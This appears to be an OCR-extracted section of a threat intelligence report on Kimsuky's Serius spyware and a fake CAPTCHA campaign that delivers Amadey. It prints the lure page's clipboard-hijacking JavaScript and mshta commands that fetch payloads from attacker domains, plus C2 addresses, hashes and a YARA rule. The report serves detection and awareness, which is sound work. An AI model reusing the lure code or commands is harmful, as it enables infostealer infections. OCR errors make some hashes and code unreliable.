TLP:CLEAR SHA256 2da46aeb5dbabc6442cc0d2698725dae918befadf1 |t.zip (Trojan Dopper)
92992f58ebbebd4ac3e2888

SHAT bc7db5296¢662d5f81b1c29db91b63040e545a5d |t.zip (Trojan Dropper)

TLP:CLEAR MD5 4cbafb288263fe76f5e36f1f042be22d t.zip (Trojan Dopper)

SHA256 b7fc11f37433b4f1d357e43b5a26802a96{5f043f70 |s.vbs
289360d60b12d6248e5€a

TLP:CLEAR SHAT 91899ba8f9c55fa161d5c496¢3f181f1f74f3617  |s.vbs

TLP:CLEAR MD5 622358469e5¢24114dd0eb03da815576 svbs

aovens
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TLP TYPE VALUE COMMENTARY
TLP:CLEAR SHA256 cd4abad42d881cfa112fe3a6b1d2381b089cbe1638 |xM568.tmp (Seriane
28cfdb2d57abba95737a07d Trojan Backdoor
Spyware)
TLP:CLEAR SHA1 69e038480a7b38ac62d7df0c416e83c67670720a |xM568.tmp (Seriane
Trojan Backdoor
Spyware)
TLP:CLEAR MD5 0c3fd7f45688d5ddb9f0107877ce2fbd xM568.tmp (Seriane
Trojan Backdoor
Spyware)
TLP:CLEAR SHA256 40c9f86e343f5a54570162bcca2d18f046d65c¢310d|07578.tmp
3ccfe975a2c2c31c5c47ch
TLP:CLEAR SHA1 ddbc721eb0abe609885f30ef175b3ec0a8b7¢720 [07578.tmp
TLP:CLEAR MD5 73ed9b012785dc3b3ee33aa52700cfed 07578.tmp
TLP:CLEAR IP 64.49.14[.1181 CnC APT KIMSUKY
TLP:CLEAR IP 118.193.69[.153 CnC APT KIMSUKY
TLP:CLEAR IP 118.194.249[.]190 CnC APT KIMSUKY
3.10. YARA Rules
aDvens YARA rules.
rul e SERI US_det ection {
met a:
aut hor = " ADVENS"
source = "ADVENS"
status = "RELEASED'
sharing = "TLP: CLEAR'
mal ware = " SERI US"
description = "Yara_rul e_that _detects_SERI US _mal ware. "
info = "SERI US_Troj an_Backdoor _Spywar e"
Sanpl e_SHA256 = "6544f 0416e12d5876861349e1e66f 4c97d72da4f b029baeebb00ab99608df ba7"
Sanpl e_SHA1 = "e8c7065344a27971655a561b4dae7203e094e56¢c"
Sanpl e_MD5 = "5f93f dble3df e4f 8ccd4e22ef 8a22b14"
/| Check strings
strings:
$SERI US_stringl = "ZWZ3hWipNrbz VXTkACdv5W.0Ai ZpBCl g"
$SERI US_string2 = "nmbmv2ckACRIZXZj 5nzl NXLgQRdl 52bkh"
$SERI US_string3 = " Uu8USuOWZONXeTBCdj Vimai 9UL3VnirgoD"
$SERI US_string4 = "Uu8USUOWZONXeTBCdj Vmai 9UL3VmrgoD"
$SERI US _string5 = "$rux49=$degi . ToCharArray();"
$SERI US _string6 = "$xya89=$kot a. ToCharArray();"
$SERI US_string7 = "$wze05=$egi k. ToCharArray();"
$SERI US_string8 = "$yac79=$syem ToCharArray();"
$SERI US string9 = "$bytes = [Convert]:: FronBase64String($gilo);"
/I Check functions
$Add1l = "I nvoke- Expressi on"
condi tion:
filesize > 2000 and filesize < 3000 and all of ($SERI US string*) and $Addl
}
agovens
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4. FAKE CAPTCHA CAMPAIGN

CAPTCHAs are described as challenge-response tests used by websites to determine if the user is a human or a machine/bot.
The term is a contrived acronym for "Completely Automated Public Turing test to tell Computers and Humans Apart".

Over the last fifteen years, the use of CAPTCHAs has largely increased to counter the threat of bots and automated scripts. They
come in all shapes and sizes, from just having to click boxes to finding zebra crossings and counting objects.

The abuse of users' trust in CAPTCHAs by cybercriminals is nothing new. In 2021, they were used in a campaign to encourage
people to download the Ursnif malware. Since mid 2024, a new campaign of fake CAPTCHAs started, deceiving people into
installing infostealers onto their systems by pasting malicious code into their PowerShell prompt. The most commonly installed
malware seems to be Lumma Stealer, however the latest campaign we observed seems to install the Amadey Botnet.

4.1. Description of the campaign

In mid 2024, researchers started to notice users executing malicious PowerShell code seemingly out of nowhere. After further
investigation, it was discovered that users were being prompted into executing this code by fake CAPTCHA pages. Users were
being redirected to these fake CAPTCHA sites from various places: cracked game download URLs, malvertising, phishing emails
and compromised webpages.

Instead of the legitimate CAPTCHA tests that users are usually prompted into doing when they check the box, these malicious
CAPTCHASs pages encourage users to prove they are human by pressing "Windows + R" then "ctrl + V" and finally "enter".

x

o .
Verification
7357 Type the name of a program, folder, document, or Internet Steps
resource, snd Windows will open it for you,

1. Press Windows
Button "8@" + R
2, Press CTRL +V

3. Press Enter

Open: [bmuhell.e:: -¢C bQBzAGGAJABRACAAIGBoAHQAdL v]

Figure 6. Fake CAPTCHA page (source: reliaguest)

The trick lies in making the user inadvertently copy a malicious PowerShell command when ticking the box. Pressing the
"Windows + R" keys opens a Windows prompt used to execute code. The malicious code is pasted into the prompt via the "ctrl +
V" keys and executed when the user presses enter.

mshta https://portaal.com.my/
recaptcha-verify # « "l am not
a robot - reCAPTCHA Verification

ID: 1912"

Figure 7. Text copied into pasteboard

This code is executed and downloads a malicious script which leads to the download of different infostealers.

aovens
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4.2. Technical details

4.2.1. Example of a fake booking[.Jcom website

One example of the malicious CAPTCHA was found on the website hxxps://booking[.lrewiesbadchecked[.]Jcom, a fake

booking[.]Jcom website. In the forefront is a fake CAPTCHA prompting the user to execute the code. In the background, the fake
booking[.]Jcom website is blurred.

Q8 Joking rewiesbadcheked.com

Robot or human ?

Check the box to confirm that you're human.
Thank You!

:) I'm not a robot

> .
Verification Steps

1. Press Windows Button ‘88" + R
2. Press CTRL + V
3. Press Enter

Figure 8. Fake booking[.Jcom CAPTCHA

A closer look at the source code of the page shows that when the user clicks on the box to confirm they are not a robot, a function

named antibotcheck() is called. This function, defined later in the code, copies the command "mshta hxxps[:]//verif-anti-
bot[.Jcom/Captcha.html #"v [ am not a robot -- re CAPTCHA VeriflD: 843057"" into the user’s clipboard.

<div style="display: flex; justify-content: center; align-items: center; margin-top: 20px;">
<div class="checkbox-bot" onclick="antibotcheck()">
<div class="checkbtn-bot">

</div>
<div class="checkbox-bot-load" style="display: none;">
<svg xnlns="http://www.u3.0rg/2000/svg" viewBox="0 © 108 100" preserveAspectRatio="xMidYMid" style="shape-rendering: auto; display: block; background: transparent;" width="32"

<animateTransforn keyTimes="0;1" values="0 50 50;360 50 56" dur="1.38838888888888885" repeatCount="indefinite" type="rotate" attributeName="transform"></aninateTransforn>
</circle><g></g></g></svg>
</div>

I'mnot a robot

</div>

<div style="font-size: 16px; text-align: center; color: #555; ">
<div>

<div style="font-family: Roboto,helvetica,arial,sans-serif; font-size: 14px; font-weight: 400; line-height: 17px; width: 152px;">

<img src="https://wa.gstatic.con/recaptcha/api2/logo_48.png" style="width: 32px; height: 32px;">
</div>

<div>
reCAPTCHA
</div>
<div>
Privacy - Terms
</divs|
</div>
</div>
</div>

<-5;;1pt src="https://code. jquery.com/jquery-3.7.1.min.js" integrity="sha256-/1qT35QfawRcv/BIHPThkBvs@0EVtFFmQPF/1YI/Cxo=" crossorigin="anonymous"></script>
<script type="text/javascript">

function antibotcheck()

copyTeClipboard(“mshta https://verif-anti-bot.com/Capcha.html #''s” 1 am not a robot -- re CAPTCHA VerifID: 843857''");
$('.checkbtn-bot').hide();

%( "' .checkbox-bot-load').show();
$('.sjgdhfgas34").css('display', 'flex');

S.ajax({
url: "../../api?c=1",
type: 'GET',

b

function copyToClipboard(str)
{
var area = document.createElement('textarea’);

document.body.appendChild(area)
area.value = str;
area.select();
document . execCommand ("copy") ;

document.body. removeChild(area)

</script>

Figure 9. Source code booking[.Jcom Captcha

MSHTA (Microsoft HTML Application Host) is a native Windows binary used to execute HTA (Microsoft HTML Application) files.
Attackers abuse this binary to execute VBScript and JScript embedded in HTML files.
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The domain verif-anti-bot[.]Jcom is hosted on Cloudflare. When the investigation was launched, the code on verif-anti-bot[.]Jcom
was protected and Cloudflare quickly took down the malicious content. This page is now empty.
- 2> C @ 08 verif-anti-bot.com/Ca i A
The ultimate tor our M ni filters away and much mare.
Figure 10. Site verif-anti-bot[.Jcom
Whilst this page was still active, it was analysed on anyrun. After mshta executed the content on verif-anti-bot[.]Jcom, two
PowerShell commands were spawned that fetched files named 1.png and 2.png from the server 92.255.57[.1155. These files were
still available during the investigation. Once downloaded, they were analysed.
Command line D
Figure 11. Executed PowerShell (source: any.run)
Analysis of 1.png
File properties
Family: none File name: 1.png
Virus name: Script.SNH-gen.9446.29445.UNOFFICIAL Type: code/ps1 2' 8 3 0
© 2/4 engines detected this file Size: 163.72kB Max scors °
File information Actions
Characterization
Servi:e@ Family
£ SignatureClamAv Script.SNH-gen.9446.29445. UNOFFICIAL
Figure 12. Glimps 1.png
> md>5: 1a236b9ea5583203400ae2a9b74f0f31
- sha1: 358faddc9c4971af274923185cfba9f0d0a06c09
- sha256: 592c6bce92a8a7e8052ef0eb61393e32700330effb1¢c192b7e9f10318d153¢cc7
This file seems to be the malware dropper. It uses RegSvcs.exe to change the autorun value to add the download of 2.png.
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Behavior activities
Figure 13. Modification of the registry keys (source: any.run)
Analysis of 2.png
File properties
Family: none File name: 2.png
Virus name: Trojan.MSIL.Agent.15522.4198.UNOFFICIAL Type: code/ps1 2'1 80
© 2/4 engines detected this file i ot 2 Maxscors ~
File information Actions
Characterization
£ SignatureClamAV Trojan.MSIL Agent.15522.4198. UNOFFICIAL
Figure 14. Glimps 2.png
> md5: 783f7905ed7e683c128c1e484cffbf63
- sha1: 9d01f9ebfab037db4357d077b7284cf1edbce853
-~ sha256: e17cee2ea6241540d5587ba18bc37d66bd7098b348f7e4e652ba614550520ef2
This file seems to be the final payload. It is detected by Glimps and Virus Total as the Amadey Botnet.
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C Reanalyze == Similar~  More v

52ba614550520ef2 = Last Analysis D D
15122 KB )

exe-pattern  clipboard  detect-debu
DETAILS RELATIONS ASSOCIATIONS BEHAVIOR COMMUNITY 14+

Join our Community: » automate checks.

Popular threat label ( de Threat categories  trojan Family labels powershell  amadey

Security vendors' analysis () Do you wan
AliCloud DT Arcabit

Avast

BitDefender

Driveb

Figure 15. Virus Total 2.png

It sends requests to the server . When this URL was analysed, it redirected to the URL
which seems to be a Russian login page.

O ® 9225557.155 E A

| OTKpbITL |

Figure 16. Russian login page

Since 30 January 2025, this IP address is recognised as an
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[7s]
@
H
S

Tracker fog Last30Days LastsOentries DataDump Stats

Malware url P FirstSeen

Amadey 92.255.57.155/yXNwKVkS28Y/Login.php 92.255.57.155 30-01-2025

Figure 17. Amadey C2 server (source: Tracker)

Amadey is an infostealer that is also considered a Botnet. It was discovered in 2018 and in 2024, was used by the Russian actor
Secret Blizzard according to Microsoft. It possesses infostealer as well as loader capabilities.
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4.3. Timeline

Over the course of this attack, the CAPTCHA’s have taken on multiple forms. The first ones were very basic and did not look like
most other CAPTCHAs found on the internet.

Verify You Are Human

Please verify that you are a human to continue.

=. |'mnot a robot

Figure 18. First CAPTCHA

On 17 September 2024, Huntress’s security researcher John Hammond published a video concerning this campaign and
presented this first version of the CAPTCHA. In his video, he presents a new fake CAPTCHA he created to look "like a real
legitimate CAPTCHA" and made this code available on his GitHub. Since then, attackers have been reusing his code to create
malicious CAPTCHA.

Complete these

Verification Steps

To better prove you are not a robot, please:

1. Press & hold the Windows Key ® + R.
2. In the verification window, press Ctrl + V.

3. Press Enter on your keyboard to finish.

You will observe and agree:
Bl "I am not a robot - reCAPTCHA Verification IO
1912

Perform the steps above to
finish verification. VERIFY

Figure 19. Second CAPTCHA

Other types of CAPTCHAs have appeared recently as the number of cases linked to this campaign keeps increasing. The latest
trend from January 2025, discovered by VX Underground, targets fake Telegram channels for Ross Ulbricht following his official
pardon from President Trump. These channels uses Safeguard’s name to convince users into executing the PowerShell code to
confirm their identity.
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Safeguard Bot Info
Safeguard
Safeguard
1 Safeguard Portal
Step 1
Press B Windows + R to open the Run
™| Step2
To sex c gram, pr
e ‘Telegram' into the ‘Run’
ler 1o authenticate your account Notifications
ly redirected to the desired
=~ .. Waiting to process
manual verification...
Figure 20. Telegram Safeguard: confirm identity
4.4. Conclusion
These campaigns are difficult for companies to detect and even harder to block as the code is executed directly by the victim. The
malicious domains and payloads are quickly taken down and renewed making it impossible to be up to date with the latest
campaign. The use of cloudflare to host the domains means the DNS resolution IP cannot be blocked either.
All these factors mean that the best way for companies to protect themselves is to train employees to increase their awareness
and make them understand the risks linked to phishing campaigns. In the case of a compromise, itis recommended to isolate the
infected workstation before reinstalling it and resetting the user’s passwords.
agovens

2025-02-04 28/32



TLP-CLEAR Monthly Cyber Threat Intelligence report January
1
——  —
]
4.5. Mitre ATT&CK matrix
INITIAL ACCESS
T1190 Exploit Public-Facing Application. T1566 Phishing. T1189 Drive-by Compromise.
EXECUTION
T1059.001 Command & Scripting Interpréter: PowerShell. T1204.002 User Execution: Malicious File.
PERSISTENCE
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
DEFENSE EVASION
T1656 Impersonation. T1218.005 System Binary Proxy Execution: Mshta. T1027.010 Obfuscated Files or Information: Command
Obfuscation. T1027.009 Obfuscated Files or Information: Embedded Payloads. T1140 Deobfuscate/Decode Files or Information.
CREDENTIAL ACCESS
T1555 Credentials from Password Stores. T1539 Steal Web Session Cookie.
DISCOVERY
T1082 System Information Discovery. T1012 Query Registry.
COMMAND AND CONTROL
T1552.003 Unsecured Credentials: Bash History. T1552.004 Unsecured Credentials: Private Keys. T1110.001 Brute Force: Password
Guessing.
COMMAND & CONTROL
T1071 Application Layer Protocol. T1132 Data Encoding.
EXFILTRATION
T1041 Exfiltration Over C2 Channel.
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4.6. Indicators of compromise
TLP TYPE VALUE COMMENTARY
TLP:CLEAR URL booking[.Jrewiesbadchecked[.]Jcom Fake CAPTCHA site
URL verif-anti-bot[.Jcom/Captcha.html CAPTCHA payload
MD5 1a236b9ea5583203400ae2a9b74f0f31 1.png
TLP:CLEAR SHAT 358faddc9c4971af274923185¢fbadf0d0a06c09 | 1.png
SHA256 592¢c6bce92a8a7e8052ef0eb61393632700330effb|1.png
1¢192b7¢9f10318d153cc7
MD5 783f7905ed7e683¢128c1e484cfbf63 2.png
SHA1 9d01f9ebfab037db4357d077b7284cf1edbce853  |2.png
TLP:CLEAR SHA256 e17cee2ea6241540d5587ba18bc37d66bd7098b3 |2.png
48f7e4€652ba614550520ef2
TLP:CLEAR P 92.255.57[.]155 C2 Amadey
URL 92.255.57[.]155/YXNWKVFKS28Y/Index.php C2 Anadey
TLP:CLEAR URL 92.255.57[.]155/YXNWKVFKS28Y/Login.php C2 Anadey
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5. SOURCES

CVE-2024-50603

- National Vulnerability Database - CVE-2024-50603
https://nvd.nist.gov/vuln/detail/CVE-2024-50603

= Aviatrix (07/01/2025). Remote Code Execution Vulnerability in Aviatrix Controllers.
https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html?expand=true#
remote-code-execution-vulnerability-in-aviatrix-controllers

-~ Wiz Security (11/01/2025). Wiz Research ldentifies Exploitation in the Wild of Aviatrix Controller RCE (CVE-2024-50603).
https://www.wiz.io/blog/wiz-research-identifies-exploitation-in-the-wild-of-aviatrix-cve-2024-50603

- DarkReading (13/01/2025). Cloud Attackers Exploit Max-Critical Aviatrix RCE Flaw.
https://www.darkreading.com/cloud-security/cloud-attackers-exploit-max-critical-aviatrix-rce-flaw

CVE-2024-57678

- National Vulnerability Database - CVE-2024-57678
https://nvd.nist.gov/vuln/detail/CVE-2024-57678

CVE-2025-20156

- National Vulnerability Database - CVE-2025-20156
https://nvd.nist.gov/vuln/detail/CVE-2025-20156

- Cisco (22/01/2025). Cisco Meeting Management REST API Privilege Escalation Vulnerability.
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cmm-privesc-uy2Vf8pc

> The Hacker News (23/01/2025). Cisco Fixes Critical Privilege Escalation Flaw in Meeting Management (CVSS 9.9).
https://thehackernews.com/2025/01/cisco-fixes-critical-privilege.html

Cyber-virologie : Analyse du spyware Serius

> ASEC Anhlab. (2025). December 2024 Threat Trend Report on APT Attacks (South Korea). ASEC Anhlab.
https://asec.ahnlab.com/en/85607/

-~ Bender, D. (2024). December 2024 Threat Trend Report on APT Attacks (South Korea). Netmanageit.
https://blog.netmanageit.com/december-2024-threat-trend-report-on-apt-attacks-south-korea/

= Level Blue (2024). December 2024 Threat Trend Report on APT Attacks (South Korea). Level Blue.
https://otx.alienvault.com/pulse/6781129060e142be769eb874

-~ Malware Bazaar. (2024). Analysis of sample SERIUS. Malware Bazaar.
https://bazaar.abuse.ch/sample/6544f0416e12d5876861349e1e66f4c97d72dadfb029baeebb00ab99608dfba7/

-~ SomedieyoungZZ. (2024). Kimsuky A Gift That Keeps on Giving. Github - SomedieyoungZZ.
https://somedieyoungzz.github.io/posts/kimsuky-6/

= Virus Total. (2024). Analysis of sample SERIUS. Virus Total.
https://www.virustotal.com/gui/file/6544f0416e12d5876861349e1e66f4c97d72dadfb029baeebb00ab99608dfba7

- Virus Total. (2025). Apt Kimsuky C2. Virus Total.

https://www.virustotal.com/gui/ip-address/206.206.127.152
- JoeSandBox (2025). Sample SERIUS. JoeSandBox.

https://www.joesandbox.com/analysis/1573545/0/html

Fake CAPTCHAs

- https://labs.guard.io/deceptionads-fake-captcha-drivin
0c516f4dc0b6

- https://www.youtube.com/watch?v=lSa wHW1pgQ

- https://github.com/JohnHammond/recaptcha-phish

- https://www.bleepingcomputer.com/news/security/telegram-captcha-tricks-you-into-running-malicious-powershell-
scripts/
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https://nvd.nist.gov/vuln/detail/CVE-2024-50603
https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html?expand=true#remote-code-execution-vulnerability-in-aviatrix-controllers
https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html?expand=true#remote-code-execution-vulnerability-in-aviatrix-controllers
https://www.wiz.io/blog/wiz-research-identifies-exploitation-in-the-wild-of-aviatrix-cve-2024-50603
https://www.darkreading.com/cloud-security/cloud-attackers-exploit-max-critical-aviatrix-rce-flaw
https://nvd.nist.gov/vuln/detail/CVE-2024-57678
https://nvd.nist.gov/vuln/detail/CVE-2025-20156
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cmm-privesc-uy2Vf8pc
https://thehackernews.com/2025/01/cisco-fixes-critical-privilege.html
https://asec.ahnlab.com/en/85607/
https://blog.netmanageit.com/december-2024-threat-trend-report-on-apt-attacks-south-korea/
https://otx.alienvault.com/pulse/6781129060e142be769eb874
https://bazaar.abuse.ch/sample/6544f0416e12d5876861349e1e66f4c97d72da4fb029baeebb00ab99608dfba7/
https://somedieyoungzz.github.io/posts/kimsuky-6/
https://www.virustotal.com/gui/file/6544f0416e12d5876861349e1e66f4c97d72da4fb029baeebb00ab99608dfba7
https://www.virustotal.com/gui/ip-address/206.206.127.152
https://www.joesandbox.com/analysis/1573545/0/html
https://labs.guard.io/deceptionads-fake-captcha-driving-infostealer-infections-and-a-glimpse-to-the-dark-side-of-0c516f4dc0b6
https://labs.guard.io/deceptionads-fake-captcha-driving-infostealer-infections-and-a-glimpse-to-the-dark-side-of-0c516f4dc0b6
https://www.youtube.com/watch?v=lSa_wHW1pgQ
https://github.com/JohnHammond/recaptcha-phish
https://www.bleepingcomputer.com/news/security/telegram-captcha-tricks-you-into-running-malicious-powershell-scripts/
https://www.bleepingcomputer.com/news/security/telegram-captcha-tricks-you-into-running-malicious-powershell-scripts/
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- https://app.any.run/tasks/a8ce9458-e3c0-4685-a988-bb7bc2740b78
- https://www.reliaguest.com/blog/using-captcha-for-compromise/
- https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-
using-tools-of-other-groups-to-attack-ukraine/
- https://any.run/
- https://www.virustotal.com
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https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/
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